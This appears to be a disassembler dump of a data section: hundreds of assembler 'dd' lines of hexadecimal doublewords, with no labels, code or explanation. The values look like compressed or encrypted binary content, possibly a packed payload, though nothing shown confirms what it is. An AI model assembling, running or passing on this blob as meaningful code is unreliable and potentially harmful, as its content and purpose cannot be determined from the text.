		dd 77681F53h, 525B8F27h, 4C4BAA5h, 0EBBEB085h, 0F32D8FDEh
		dd 585B6170h, 0EA92B3A2h, 0EE10A4B6h, 0ED465AB2h, 0ED10CE21h
		dd 13379C20h, 0C14C1063h, 2886A9Ch, 0E286E009h,	0C77DC013h
		dd 57DB22AAh, 0B9508FBCh, 0C81F1253h, 503FB22Fh, 0FF717EA0h
		dd 25F445BFh, 6CDD6EE0h, 2FC74EB7h, 0F1EBA923h,	0C216DC0h
		dd 509039B2h, 0E753716Dh, 0E550B86Fh, 60F547E0h, 0B8C2BB9Dh
		dd 7258256Ah, 2F0903ABh, 0B6291E99h, 4008831Ch,	4E8B141Ch
		dd 5F70982Ch, 0E962AB99h, 0CDCC7710h, 0B6172209h, 2FD0054h
		dd 975726E9h, 0D3C58223h, 423716F9h, 20DFBFEFh,	0CA771DE2h
		dd 6922C174h, 3626254Eh, 0FD0118B7h, 13163128h,	45F1BAAh
		dd 1E08C523h, 999697E6h, 0DFFF2B84h, 35B65BC6h,	0B8DCF10h
		dd 7E3DA768h, 13D5EBD2h, 0E309B8DEh, 81C8D66Fh,	3BDAEAB6h
		dd 5680EBBDh, 2C1CF768h, 34F2E4Ch, 4F77AACEh, 0E0DEDA33h
		dd 2F095F72h, 87F04E39h, 8747EF39h, 0FE31C522h,	25F589E3h
		dd 75ED38h, 0E9DD01BBh,	0D37A4938h, 0AEDCF63Eh,	0C948F339h
		dd 81B3A95Eh, 0E7200CECh, 7CA89C6Fh, 1E2FD2BCh,	0F0E918AEh
		dd 1CF163DDh, 3C1EC1E6h, 753FF928h, 286CABB1h, 51683F7Ch
		dd 0B0C539DCh, 8485BB1Eh, 0A3BA34EAh, 0F462509Ch, 0FD83C86Bh
		dd 0E5F575CAh, 80E989DBh, 41B8B3A7h, 71522D26h,	3283F09Ch
		dd 54D8DBA8h, 0B2F9C3C4h, 56860814h, 0C16FABABh, 0FDA033D8h
		dd 0BD6BE163h, 699E848Bh, 7BBC2CEBh, 0FE098B9Eh, 4AC14CC1h
		dd 4E0DAC74h, 1C96EC5Ch, 0C0D164AEh, 6A07AE05h,	0C6319D04h
		dd 17B88958h, 86F4432Eh, 51622768h, 3B85D220h, 4FAEFE87h
		dd 0A5CF4088h, 0D8BDB50Fh, 544E86h, 46A6BB8Dh, 6817296Dh
		dd 81CC58DCh, 4F84FADBh, 3190A172h, 0E0D16A32h,	0FACD0Ah
		dd 6C250567h, 0C25BA390h, 1FCFBD0h, 32167BBEh, 0E15588D3h
		dd 8D17D982h, 0D8285C01h, 7464D930h, 0B2A0A960h, 97C93D30h
		dd 0E982E98Eh, 0EE74E542h, 12184A63h, 0A75D5440h, 76E982F3h
		dd 0EFDAF5E0h, 0AABC5860h, 8066A123h, 9C2E4402h, 4B9ED11Dh
		dd 6C2C70BAh, 4813CC2Dh, 8E7F73F1h, 30E55FA6h, 0B40CF83Eh
		dd 0C6B8200h, 5811A51h,	0C07105E5h, 5CF08228h, 9477D092h
		dd 6A502D8Ah, 333E78A2h, 48AD19D1h, 0BA599Fh, 87AB199Fh
		dd 295BDA31h, 53385E95h, 305FD6DAh, 0F6B3EF6Ah,	0A411483Dh
		dd 7981BD4Ah, 72E9F70Bh, 0A08B5EBEh, 746638A3h,	0AF595592h
		dd 0ED97F8F2h, 0A9E24B04h, 42BCCFC4h, 61535DEAh, 3CF89656h
		dd 0EFC12E23h, 0C6F71EE3h, 0C264A5Ch, 0DA0C37A1h, 10DC8262h
		dd 0C99F442h, 65124840h, 85001CD6h, 6FA40C42h, 0FC77042Dh
		dd 81210A31h, 81F819E5h, 72B8EB95h, 0B56B5471h,	991E9011h
		dd 0A8087E50h, 0FA61B3ADh, 9F5CBA82h, 2926AD06h, 972D8898h
		dd 0B1FEE016h, 0E468809Bh, 0E9D64C55h, 83A30752h, 0D3152D58h
		dd 2CE69A8Fh, 0F89C0A77h, 4EEFE978h, 0D545EB90h, 0E0F29552h
		dd 68098D90h, 1A5909E1h, 7E31D581h, 0A6804302h,	25FB3EEAh
		dd 5B505F53h, 7003BFF3h, 4EE92879h, 9DFB85BDh, 0BA68540Ah
		dd 5CECCFFCh, 0A4B4B3B8h, 0D0F79506h, 2D299806h, 7746999Dh
		dd 0B81AA74Ah, 0DACCD410h, 39943248h, 0AF427924h, 0AD81605Ah
		dd 81355F49h, 1D44863h,	4BCA5D66h, 0C150B3EAh, 0F6303AB8h
		dd 0FEC34F21h, 0B8F7C529h, 0FF1705EBh, 10860921h, 4812A3C3h
		dd 26BED895h, 8EF2A09Fh, 0F2614FEAh, 0F7D12053h, 0A3DCB5C2h
		dd 0E0FCAECEh, 805966CFh, 970FB0F7h, 0DD282851h, 7CBE30C0h
		dd 0B045F030h, 19A809DFh, 17FE7378h, 6AE6AE39h,	4CB94712h
		dd 2DD7F34Ah, 565C61EDh, 9CDFB4D8h, 0D95A44D1h,	0E7E86B38h
		dd 0F12DEAF4h, 0CD9A27Ah, 0EFBEA2E9h, 0F2A173E1h, 8ED19788h
		dd 0FA542CC3h, 25257EC7h, 0BDF29EFDh, 443DC460h, 5EC26880h
		dd 388BF535h, 5C312763h, 0EE68E2E7h, 406BFA56h,	14917B2h
		dd 0EBBF65DDh, 6BDC3404h, 0B7BAEC80h, 2CF1161Dh, 0BE8D8531h
		dd 9A7F7138h, 0B85E9F04h, 7C96FD52h, 0F69B4120h, 34FB0FE2h
		dd 0AA653D82h, 78CA4BFh, 5C31205Fh, 0AE064BF3h,	494CEE12h
		dd 20B201FBh, 2A17E744h, 984D6AB0h, 60EC989Dh, 0A8B12AD5h
		dd 2905D855h, 7DB0E9F5h, 0A2AEA935h, 3C584820h,	2BFF5087h
		dd 8182B74Ch, 192810CCh, 581F074h, 0A06172EEh, 51609125h
		dd 0D8E82B54h, 0ED9707A6h, 51490CFh, 72F97B5Bh,	4F587BB0h
		dd 4F28FEBCh, 0FB747CC0h, 0DF8AFD6Bh, 7F9CAD89h, 54B7D414h
		dd 3DA29A1Ch, 6A7D3242h, 0D0E9406Fh, 3F2C0212h,	13E95157h
		dd 512D2D6h, 5B2F57ADh,	0FC5A2856h, 0CC7F526Ch,	51749FE2h
		dd 524CDDC9h, 2D745B2Eh
		dd 5EDFBB60h, 9813B85Dh, 0E29B4170h, 1AA5CA51h,	68D65765h
		dd 6510DEA4h, 4FE6BE1Fh, 8F454557h, 21D9AE27h, 0CB9F0878h
		dd 0D7C7651h, 945FE550h, 0CB2E329h, 0C24EAFE9h,	0F2DCD45Dh
		dd 9C105955h, 2048A743h, 8B3045A0h, 51190C75h, 3E7441DFh
		dd 0BC046994h, 5B09AE7Bh, 0BC938285h, 2D089400h, 0B85980A5h
		dd 681B6760h, 80F85E53h, 37B95156h, 6C483F0Ch, 0F0825B04h
		dd 9D9DDA2Dh, 5603ED6h,	4B4072D1h, 0F917A106h, 50A667Bh
		dd 79C10418h, 0E94F88AAh, 98C90A24h, 43BB5360h,	140C0B2Dh
		dd 561E3C1h, 5EAB4270h,	0C095FBCBh, 0D54AEE8h, 0DD31A905h
		dd 57E14D5Bh, 0F92BEFFh, 0B415B98Ah, 3016BAF7h,	2968A438h
		dd 505CA8h, 56596E62h, 0BE0ACF81h, 0A77B9328h, 75703701h
		dd 93A5733h, 0A65F5FABh, 9200896h, 0ABA1914Ah, 0C09934F0h
		dd 0FD7C3A6Fh, 453806CAh, 874EE6E9h, 505137D2h,	2D4000B8h
		dd 0A38B5E6Fh, 0F595C501h, 0D2F61220h, 2216B551h, 561CEA28h
		dd 0D08876C1h, 0FD6C97E9h, 5170A44Eh, 83F7009h,	3AE6575Bh
		dd 2D84834Dh, 25469E5Dh, 21D91CE9h, 65D82989h, 97D29F3h
		dd 9ED5303Fh, 49B8209Eh, 1A302EA0h, 4CCAB980h, 8A5AF00Fh
		dd 0BD604A2Ch, 4A5F4C57h, 807A341Eh, 952854CBh,	0EF091529h
		dd 0F10382E2h, 5C12BA75h, 0B271461Ah, 0E80B295Dh, 0C27F0459h
		dd 385B406Ch, 5AF02877h, 0D3569C0h, 0F82425FDh,	0F417CE53h
		dd 2F10B6BCh, 0CFFE03AEh, 31FBC780h, 4F142D26h,	0E518DC47h
		dd 71965795h, 52DCB80Bh, 115743Ch, 290317CEh, 49AC3E21h
		dd 0C002F4Ch, 0E9D6FFEDh, 48CB7269h, 490177BBh,	735C293Bh
		dd 0D2E917FFh, 0F86F29B5h, 58760402h, 0B1EA2DDEh, 82080436h
		dd 517FFBF8h, 0C4F56B50h, 0A14A5B79h, 4DA32B25h, 9D6A257Bh
		dd 0CBC24554h, 0CCA6E984h, 0BDAB057Eh, 8417E879h, 0D9FB7D4Fh
		dd 2BEE3033h, 0C0B70E27h, 252EF0E5h, 54A8399Fh,	0C3408h
		dd 0E9555914h, 94C0CB40h, 0C1805866h, 0E870E1D8h, 0C111601Eh
		dd 3C875BDFh, 160618B5h, 2F3D7806h, 0B74815E9h,	0D1836C1Bh
		dd 1A64F49Dh, 5FE19039h, 4AFBE931h, 50E5CEAFh, 49C7A7C7h
		dd 3364360Dh, 0DE005199h, 509A6CAFh, 0E59BD0Ch,	4E2CE94Fh
		dd 7562F6EEh, 0E9753180h, 21C57355h, 37CFA03Eh,	562FD2BCh
		dd 80A6CAD5h, 9A06851h,	0E9134C6Bh, 79BC4312h, 46EF01A1h
		dd 0D6971CD2h, 66DF7289h, 69830998h, 95F242B6h,	46BDF09h
		dd 572F0B16h, 0C05769Ah, 42B1AD5Bh, 2743801Fh, 88011E88h
		dd 7A4F4A68h, 95D25B8Ch, 0CA311B77h, 0AE7882h, 1A89255Ah
		dd 0E8C133C2h, 3CE6084Ch, 1332381Ch, 37BCF831h,	75F7C3B0h
		dd 1071F1Dh, 82018ACh, 0F3685809h, 116FF7Dh, 4C928D2h
		dd 7CFFFA42h, 522A03E9h, 0BEDA0173h, 704DF6C9h,	39C04FD9h
		dd 435192F1h, 0B456902Eh, 5DE8C243h, 66C338C0h,	0D009BEBCh
		dd 0F322277h, 843C7970h, 0E814EE68h, 0B7CCC526h, 153DD8ABh
		dd 135BB040h, 0B328A968h, 1A480Bh, 421B1C8Ah, 7B70D0BAh
		dd 0ED8B779h, 0D6BD54E6h, 165972CDh, 8E77E8A7h,	0A551B91Eh
		dd 16DB1A74h, 0EF6BE9EBh, 58060CD0h, 2966121Ah,	9C45D1F7h
		dd 0D75C0248h, 834E2502h, 11807709h, 3084B75Bh,	9D51F752h
		dd 0F0B5321Dh, 69162382h, 7A297Ch, 718AED1Eh, 50030346h
		dd 443C3868h, 1520EE73h, 0B86E31E9h, 2D6F5710h,	1CD2D45Eh
		dd 0BF7C8FECh, 0AC70AAA4h, 5711C051h, 0B0BE3D53h, 72F609D5h
		dd 5E5CC631h, 83B23DF8h, 0F761A64Eh, 0AA0599A3h, 297832C1h
		dd 2C0F7824h, 0C96F02B6h, 4CBF16FFh, 0FC517350h, 413FE435h
		dd 617DC812h, 4F7E56Ah,	801C0818h, 13F82747h, 5FB11AD7h
		dd 66406F54h, 5369BF0Ah, 0A40ED01h, 73302768h, 12F24598h
		dd 0F416DF2Dh, 0AFE94169h, 80F36A6Eh, 2E796882h, 6C623774h
		dd 0EA5C05D8h, 177441B2h, 0BE54C668h, 7E34A08Eh, 27C2F863h
		dd 0BBB56093h, 0BABE1E4Eh, 4BAB8927h, 0CB488CD2h, 605309E2h
		dd 0D9D4A9B4h, 388C6D96h, 1D5942B3h, 0A4AEE280h, 0BE9500Bh
		dd 598AC93Bh, 0F847FBD9h, 2FA411B0h, 4C7AB55Fh,	90D4D29Fh
		dd 943F20D3h, 4055C16h,	0A24F4FF6h, 75686CEh, 4407110h
		dd 76301225h, 0D47EE87Ch, 2F3D07A4h, 0F7952B45h, 0DDEFE509h
		dd 0C85DD66Ah, 3B14BE34h, 0CF037993h, 61E77FADh, 22E94916h
		dd 0D82E20BEh, 284B6D38h, 533B93EAh, 0F34D6444h, 0FDADC8CDh
		dd 843AC40h, 0F581A141h, 805CA61h, 8BAFEA12h, 25FE59F4h
		dd 3C6B586Eh, 0CCCA875Fh, 0E77D7C2Dh, 0C8293717h, 5392C6B2h
		dd 0A25E003Fh, 810A5474h, 0DEBE505h, 2F8060ADh,	502F40E2h
		dd 1748C829h, 0A128CB36h, 0AB022E25h, 7E058CD1h, 0FBCA3973h
		dd 65A80801h, 0C4832E5Fh, 0D1A09A5Ch, 0F1E91F1Eh, 0B42D1667h
		dd 0B4E9C1F4h, 0F8CE6B10h, 2AFB994Eh, 41F79AAh,	0A8CE05E3h
		dd 0B2E4EE98h, 0F89405h, 0C0FE9CB0h, 28006234h,	0E2D058C2h
		dd 0B397F4E9h, 3B0D090Dh, 68049DF1h, 9AE67362h,	0E6A14A7Ah
		dd 27FD1857h, 4F66D185h, 0CEE85Ah, 478F280h, 9D68E915h
		dd 78558F09h, 13C09F8Dh, 2D80FD94h, 87F80319h, 58C1293Eh
		dd 0B04E497h, 6E880181h, 136AAB21h, 0B938107h, 0DAD6CA9Ah
		dd 0C4EFE906h, 4438DF48h, 0BE0CF568h, 6BE42ADDh, 0A87A4ACDh
		dd 0F90ED26Ch, 142D1CB6h, 2E56BD5Bh, 4906340Bh,	0DDC25448h
		dd 7640EA7Bh, 3471F626h, 0B82D70E9h, 0E6B44E8Ah, 731907B3h
		dd 0C2A3BB7Ah, 0BC789C11h, 84BAE398h, 8081D2F2h, 85044A8Ah
		dd 2D2C1DE4h, 0B282CB65h, 4AA0E97Fh, 889700FAh,	3E689917h
		dd 8698D901h, 97ED1B67h, 0A141E80Eh, 5D569F89h,	7752AB4Bh
		dd 805AE620h, 0D2A00CC6h, 0F3782839h, 0E97F4E98h, 19B5324Bh
		dd 0DE082C94h, 0E232EB2Eh, 5F36279h, 17DD454Bh,	1350153h
		dd 705B6E93h, 0CE41398Eh, 0B26BAED4h, 0FFD14AC5h, 5E5E0992h
		dd 0E1F59715h, 793E3D18h, 0D42C2127h, 0CC77726Ah, 0EB515FADh
		dd 25E9047Ch, 0BF92DF0h, 637D253Ch, 0B0AEDC2Dh,	73F6568Dh
		dd 0A2B97C4Fh, 0AAC8C9DEh, 0C16883A7h, 3B7C7520h, 8F57400Eh
		dd 560C18FBh, 1A9B3E6Ch, 159AE303h, 183B05D6h, 14A7214h
		dd 7A5554ACh, 0E2E91E24h, 0A4C5B7E8h, 0AC4B7311h, 131604F9h
		dd 7C2380Ch, 94405D01h,	4803495Fh, 2743E281h, 0EA608F65h
		dd 2CDCCEBFh, 83FC21C4h, 0FA35C9C7h, 79C9ABC5h,	67B72D2Bh
		dd 0E9301AF1h, 5026A128h, 0E7203CB8h, 336B9774h, 8BC676FAh
		dd 9B4891F0h, 0B028FD7h, 0C70C102Fh, 0D2470B71h, 0A674312Bh
		dd 0F3A48239h, 48B2E9CEh, 49DDF742h, 2D15FC4Dh,	809D4935h
		dd 13C2CFF2h, 0D56089ABh, 107CC1DAh, 12B1ECBh, 85139E9h
		dd 0CCA226DCh, 380ED759h, 1FF965B7h, 82874C52h,	0A0BC590Ch
		dd 5E89776Bh, 8EEF4CD5h, 1C872F09h, 0C4D3459h, 0D7FFA27Fh
		dd 0E9F568EAh, 96B9404Fh, 0F76212Dh, 0C8311086h, 0E1F898A6h
		dd 0D05AE87Fh, 0BAA24EEFh, 0F7B4BFD2h, 0D1C9EB30h, 0C9FE088Ah
		dd 99E90408h, 30D5E51Dh, 574EEB6Ah, 0D0DF55F8h,	8B5E2BB9h
		dd 843C8023h, 9808E9C3h, 1D90A3D1h, 0CC3C307Ah,	6B12CB06h
		dd 4B01D2F7h, 53F8B61Ch, 48E9DE50h, 0E599B5A6h,	1F5BA8CEh
		dd 3668072Eh, 0CFFE1035h, 0B01D16D0h, 8F130991h, 0BFE5903Ch
		dd 0B1581A23h, 706627F9h, 0A81E8416h, 0BFE2E7B0h, 0D891A73Fh
		dd 2C392F3h, 2A3CEA63h,	49401FA3h, 0C13E35E0h, 0E5CA1D63h
		dd 2454D30Ch, 2DF90FB3h
		dd 2C333118h, 754EE9F0h, 0A9B86900h, 75E4C4Eh, 0D92E1B2Dh
		dd 65615F5Dh, 0E4055428h, 535AB545h, 8B3FDF04h,	7508CABh
		dd 0C78A7D4Ah, 222D258h, 0E27B0141h, 8D73C4D3h,	63E072CDh
		dd 448EBE7Bh, 0B19EAF59h, 0AC20144Ch, 13EB8103h, 0D93F881Ah
		dd 0E0325A5Ch, 697C042Fh, 2E680DCCh, 6B4D2E8Ah,	9507E457h
		dd 0BD1B232Ch, 415ABE09h, 9DF1F018h, 0C006F584h, 0C92DFC7Eh
		dd 2493148h, 6FE67536h,	1DE4F748h, 2DD65E58h, 8514204Eh
		dd 0B557D73Eh, 1C5F5B63h, 4BEBA416h, 0E8098F8Ah, 3EBAFFC0h
		dd 729A1D12h, 53D6D2FEh, 0B7EAE47Fh, 0C5B7816Ch, 43726AA2h
		dd 760B682Fh, 75B665Ch,	455FDAC3h, 0F4EE1AFBh, 0B62C52B3h
		dd 0DA3EDA39h, 0FD2571C7h, 5A819CB2h, 6B43E950h, 0A7BF0512h
		dd 3AE9828Dh, 196ED72Dh, 814095B0h, 0B925F568h,	0A82493E9h
		dd 4D0B00B8h, 0BFB91FFCh, 6A131637h, 79E2C131h,	87DFFB26h
		dd 788EF80h, 8A1EA3F9h,	0D3F73E09h, 28457043h, 0C1800749h
		dd 41603F0Ch, 0BE1D20DDh, 201ACEF4h, 51CCB29h, 0D3AB8708h
		dd 98D26062h, 70836DE3h, 5A466C27h, 45D80FD1h, 54C46EC0h
		dd 0E68BBA3Ah, 9469EA7Dh, 98BF50BAh, 0FE35B12h,	3D752701h
		dd 602F6D1Ch, 77720DD9h, 7AD06BE3h, 2FB37CAEh, 98DC294Bh
		dd 4E8F180Ch, 55582654h, 62411061h, 8232A71Ch, 9933006h
		dd 1EA87B02h, 0BA817F5Bh, 34B956C3h, 92E2930h, 4278211Eh
		dd 4863248Eh, 1A052268h, 57A4064Eh, 54C1BFC0h, 9C024835h
		dd 13F44227h, 7F655549h, 2216C825h, 1D008C05h, 0BF783339h
		dd 13CCC6E7h, 0FBDF0187h, 0CA6A063Dh, 0E9510594h, 0AF2930DEh
		dd 0C073B5ECh, 3A2BBB8Eh, 98C2031Ch, 0DD34092Ah, 0AF207CD8h
		dd 0ECEA9D66h, 0F428BAFFh, 9E1425AAh, 15AC6816h, 9586A3CCh
		dd 54B9D700h, 2C01A14Ch, 0A455A0BDh, 95303158h,	0E9DD1629h
		dd 0ACEAF0E0h, 41F2C16h, 0DDD8400Eh, 1AB75304h,	0F6D5C8AFh
		dd 5250D700h, 0D488B5B2h, 0AEB830E9h, 5801F7E9h, 686B2004h
		dd 7CA253ADh, 0EDB4F448h, 550993DBh, 0A550D6DBh, 55A9647Fh
		dd 432C8623h, 0B89B94Ah, 0B486BC3h, 0E9DC0135h,	367A6F46h
		dd 0B88065D0h, 539D6EB7h, 6D163DA4h, 0FA20BF90h, 3E251FB9h
		dd 2A94059Ah, 34960DDEh, 42F9BE29h, 0E9F2F04Bh,	0F286982Fh
		dd 0EFF60B95h, 0AA602914h, 97045BDEh, 75ACE92Dh, 0C5880891h
		dd 883AEBC9h, 59DF14Ch,	2BB50A1h, 58250852h, 0E05B6DD4h
		dd 0B8764D63h, 35590279h, 4C012903h, 65133940h,	7921C933h
		dd 0F927CB73h, 0E57F5FFAh, 100B05BBh, 0D859179Ah, 395F4303h
		dd 0F7A2E91Fh, 0D6FE4EDFh, 5F22E816h, 50D490A7h, 0AC446884h
		dd 2AEB4FEAh, 11051C69h, 8D94572Dh, 649234FCh, 0D883FCB5h
		dd 1A97E929h, 0D950C22Fh, 83F7A5C4h, 0DCB8683Dh, 0F255108Ch
		dd 0C92516E3h, 59790B41h, 66A215C3h, 78FF2BCAh,	297CB764h
		dd 0FD6F4252h, 982798FAh, 76962517h, 2DE9973Ch,	3457A545h
		dd 2D609554h, 0E29F3868h, 0D8C656D1h, 6825E1F7h, 0A70B51BDh
		dd 0BE0C215Eh, 620B8DACh, 83FC7B74h, 47FD2104h,	0C43041Fh
		dd 28189C0Fh, 79E2D058h, 0A7C49E5Bh, 5AFAE8BBh,	1D972BBh
		dd 0D355B8BAh, 1C526CA7h, 88907997h, 0E9617F8Ch, 20924238h
		dd 168C1C28h, 0D0F904C3h, 0D473274Ch, 94CB1626h, 0C5A84708h
		dd 19ED33C2h, 0D6E0A9DFh, 0B7A401B8h, 0D106CD2Dh, 9F1F8873h
		dd 0CF240D29h, 0B0B68F0Bh, 2D572EA8h, 0FAF66CF2h, 34B0919Dh
		dd 0F002EFC1h, 69A660FDh, 12450830h, 3B25AAB8h,	20D64C4Ch
		dd 0C2984A73h, 9F5DF2BDh, 0BF01AE53h, 5486330Eh, 315AC72Eh
		dd 0F70668F0h, 174CBF1Bh, 0F884B4AFh, 1897E944h, 792B39BBh
		dd 25AD4C28h, 7774C8D1h, 69FB9D0Bh, 544092BDh, 0A2102CE3h
		dd 77FE4F70h, 0FBA5E487h, 0F6D98417h, 16560A60h, 0D83BD114h
		dd 2A59CA54h, 8A125B87h, 39AF27BFh, 4427A57Ch, 20577B96h
		dd 42248062h, 3902B34Ah, 57465271h, 130FB60Ah, 0E2A28C94h
		dd 0E3EABCD2h, 630F8687h, 7D4B764h, 9E6FBF2h, 475D5DEEh
		dd 6853024Ch, 8B595D64h, 1193B3B9h, 0F8F7BAE0h,	8CDC9D75h
		dd 5B545650h, 0E41CE25Eh, 804AC0E4h, 585B5950h,	811694E6h
		dd 0E854FFC7h, 5B9227EAh, 65D54B7Ch, 0E74E95D7h, 2ACD0E7Fh
		dd 817D5B4Dh, 0E45392EDh, 660C800Ch, 31D26FC4h,	0A05D4EE9h
		dd 0F7E2404Fh, 0B82DD003h, 0F126F37Dh, 396AC72Bh, 10787C64h
		dd 0EE4B4C71h, 0BEEB26C8h, 51F42F14h, 0B1F3401h, 406E5F24h
		dd 0F4E0CBC4h, 0F95D89DBh, 0BB53830Eh, 55652D20h, 81822075h
		dd 4C4017E2h, 0AF184B78h, 3EEF1783h, 0C692B213h, 340214FBh
		dd 0A59D1D4Ah, 72881D5Eh, 49680BFEh, 0E3E95833h, 0D4192DB5h
		dd 4D137023h, 1D052BD8h, 39AB216Fh, 73E6F8EAh, 54C341C9h
		dd 2389A5B1h, 84F0F57h,	68560EF0h, 15D17FA3h, 5565DFD9h
		dd 5C8EAAE8h, 8E25051Dh, 96A02FB7h, 290D1762h, 108EF851h
		dd 63E9D808h, 0DAE2B14Ah, 8464AD93h, 8AAE36D8h,	0E97961F6h
		dd 39AD70A9h, 0B9019A76h, 626E1827h, 57E9226Eh,	4342A340h
		dd 3170F00Ah, 72A5216Ch, 6265204Bh, 81DA9981h, 15B62573h
		dd 0B3D46A61h, 17432424h, 0C9DE832Eh, 5834DA60h, 0C0E103FFh
		dd 20D5C96Bh, 0F4A8C3C3h, 7496874Ah, 0C3FC702h,	42BE8578h
		dd 133030FBh, 0D1739131h, 4058F340h, 513B666Ah,	0C87B70B1h
		dd 0C782E027h, 0F5253F12h, 0E5B72A78h, 45690946h, 0CAA745F3h
		dd 902FC09Ah, 0F9E7974Ch, 959F91A0h, 244322F1h,	0E9F76CF0h
		dd 0E9EB6238h, 2F955C31h, 5800608Bh, 1948CC68h,	1040D46Fh
		dd 0BD049EC5h, 0A5E4B026h, 650DF5ACh, 4CF32FB4h, 0AA93307Bh
		dd 1A3CFA3h, 1F655B3Bh,	32CB8CE7h, 789B7764h, 94F8B85Ah
		dd 0B23DF7C0h, 0AB5EE90Eh, 0D8646E97h, 40CB3588h, 0B24A687Ch
		dd 0C29DCCE9h, 591FB923h, 0A3CFCBDDh, 67FBB9A5h, 363E24h
		dd 89432C62h, 8CCFE9EFh, 3CA97197h, 0CA996416h,	8D535492h
		dd 28F7213h, 7D4C5DFDh,	8160A43h, 599DBF58h, 3DCC07A7h
		dd 72984C24h, 5D7D9042h, 0A9569210h, 0C8E9289Eh, 0CE3DB475h
		dd 51E4FE2Bh, 44F3FF89h, 0FF6D4B7Ah, 0B93075C9h, 5A61770Dh
		dd 2806051Dh, 243AF4Dh,	0C15A9BF5h, 0E03C2988h,	3C0E7427h
		dd 4DF3A976h, 29304A8Fh, 5EFE789Fh, 2ABEE817h, 649DAB5Ah
		dd 0B7D9704h, 0DCF70923h, 0FD2958EEh, 73ADE913h, 9C843DADh
		dd 1F121652h, 9FEEB257h, 29E90BD7h, 0E33E5D69h,	45213C40h
		dd 0BE188371h, 16062961h, 0BA9B3544h, 0D224D28Ah, 585A843Eh
		dd 30E58050h, 7802934Fh, 6CB0D4B8h, 33815587h, 3873ED68h
		dd 3651CE9Fh, 0FEF79AB8h, 69298A16h, 3F100479h,	3EFA6802h
		dd 0F0BF21E6h, 965D005Fh, 81495957h, 733EBDE1h,	0F13AF6E0h
		dd 0A802429h, 2A08CA12h, 0EC5B1232h, 0BCD5873h,	0C6039268h
		dd 74470227h, 0DAF7388Dh, 4B9CEC1h, 4A80A0EEh, 6ECF8001h
		dd 0C7FEE7D0h, 4AE97F30h, 5D5C839Ah, 21BBBF5Eh,	55E6AABh
		dd 555F0980h, 302B9087h, 0C21780D1h, 832544C4h,	1FC6F06Eh
		dd 160DB27h, 3A6DECF2h,	410C8011h, 3101D20Ah, 0CEE92FD6h
		dd 0C0EA7891h, 2BF51ABh, 510E5725h, 69998BD6h, 0BFF8AA9Bh
		dd 0AF267F2Bh, 79003C4Ah, 6877971Ah, 3A7BB59Fh,	75169202h
		dd 17BC5B3Dh, 2BBCE117h, 0E7E2BFF2h, 0F77584FFh, 0BBC160E8h
		dd 0E112427Fh, 6F0FCC2h, 0D38B7A93h, 38ABC614h,	0AA5F5372h
		dd 0F060AF69h, 0BCA4FE9h
		dd 0F351516Dh, 8B2080ACh, 0D504F284h, 394B685Ah, 7A5298FAh
		dd 43AB4200h, 77EF0BBBh, 9574B2F4h, 14E9D798h, 7E7B7569h
		dd 5CF300D6h, 68523321h, 2A20F72Ah, 0FE2BE1B5h,	0C3E4F23Fh
		dd 0CCAAE950h, 0EBBF2EEh, 62F9F766h, 5D5AA268h,	48C232D4h
		dd 9BE4095Dh, 25935B4Dh, 0A2862096h, 3C0E3573h,	0A072C629h
		dd 0BEB5E908h, 92BD0101h, 20438E42h, 3B79C546h,	0A60C4560h
		dd 803D512Fh, 0C01E9734h, 5ED2E9B6h, 0EA2BC929h, 5C52DE5Dh
		dd 2F0F9CCh, 953201Eh, 4C05DEFh, 54C4712h, 0A3C727DBh
		dd 3B8C75D3h, 1F95F1F9h, 0E6078A88h, 1158C680h,	0F83AB252h
		dd 76BD6292h, 0FFDAFA4Ah, 0DCCEE281h, 0C2BD79A5h, 0E969C06Fh
		dd 1D0FB58Fh, 0EF2048E4h, 5EF1FE81h, 0E6A6A349h, 6709AF3Bh
		dd 4B5287FDh, 2788C0C3h, 5EAF6818h, 0CC137E45h,	81BF2F5Bh
		dd 0D5B0509Ah, 4D02F7C2h, 5E09194Ah, 0CFF200F0h, 3105F5D4h
		dd 41F83703h, 501527E9h, 146A6723h, 993D9044h, 0D364C61Dh
		dd 24E5E829h, 3BA769DEh, 6A5EEA5Ch, 0D31B8565h,	1C1E25ECh
		dd 0D19B3262h, 675FDD89h, 52B32C74h, 289AED75h,	63422055h
		dd 78CD3139h, 0D9C908DEh, 47C9A21Fh, 806F7909h,	702060E4h
		dd 30FED405h, 27F34A48h, 427158Ch, 0EA1A80E9h, 0B006DB26h
		dd 0ABF05A3Fh, 5BC26421h, 5DD58205h, 0BA882356h, 84B90125h
		dd 0E82EE1B4h, 0ECBD9E78h, 8F2A9612h, 6016AA68h, 0A838197Dh
		dd 0D727597Dh, 0B0521847h, 7D808A5Dh, 0E5C078B5h, 0ED800202h
		dd 0D8D5F63Eh, 0E9AC1FE0h, 0CA56E57Dh, 769B3AC7h, 4F00C975h
		dd 14A66EDAh, 25F85348h, 0F3551825h, 32590120h,	0D67DDCBBh
		dd 0E5F12E41h, 2356AB2Bh, 348F4FF1h, 28A0EE80h,	0FBB151C6h
		dd 0D0D1F614h, 45E106A4h, 0E812C9FEh, 0A2EDF3C1h, 928DF5F4h
		dd 0F9029F77h, 0B3445B1Bh, 757A8002h, 77DF21D6h, 0DF95F2DAh
		dd 86682C01h, 5C713362h, 0A7E93AF1h, 72867E29h,	201F967Dh
		dd 0BD0053D6h, 55222139h, 289CD81h, 0E90CCB18h,	4CDA5BD3h
		dd 2D535D48h, 818F766Ah, 0A75E13E5h, 2CCC6134h,	82472CC0h
		dd 70505104h, 0F1CF6CC0h, 694E0B42h, 4A424BE9h,	3EDEED57h
		dd 0DFD0AEC8h, 31FE6627h, 46A2D62h, 0A743825Fh,	802DC108h
		dd 0DE735A4Bh, 0B283C13Ch, 6C142B07h, 0C020620Ch, 86407F20h
		dd 3CC7F682h, 0D053C888h, 94EFD552h, 340DDD19h,	856B958Ah
		dd 0CB510530h, 0DA8EFEC2h, 32A0577h, 0BA586E2Fh, 0A46B972Dh
		dd 4D5DB75Eh, 5A2885BDh, 13C8E2FAh, 28B85B07h, 958BBFD6h
		dd 206BA29h, 77E157C1h,	579F9A7Dh, 0BF821165h, 75155069h
		dd 6140D3C0h, 0C1582AC7h, 83E0286h, 638D39B1h, 0AB96B7EAh
		dd 0DD298C45h, 0AA4A9E8Eh, 87FA1953h, 1F0B92D2h, 1EB91CDFh
		dd 0A5E9C9B2h, 4BBD0256h, 92668ABFh, 50868AEEh,	537C8F48h
		dd 0D4BB014Eh, 848C01CEh, 6B8229C7h, 0EAF40AC7h, 0EE000EBh
		dd 813CE056h, 0D0AF137h, 22B4CAF4h, 0BB7140A9h,	763BFE0Ch
		dd 275644Ah, 4547E120h,	0D9FD9C68h, 11448045h, 0E3810372h
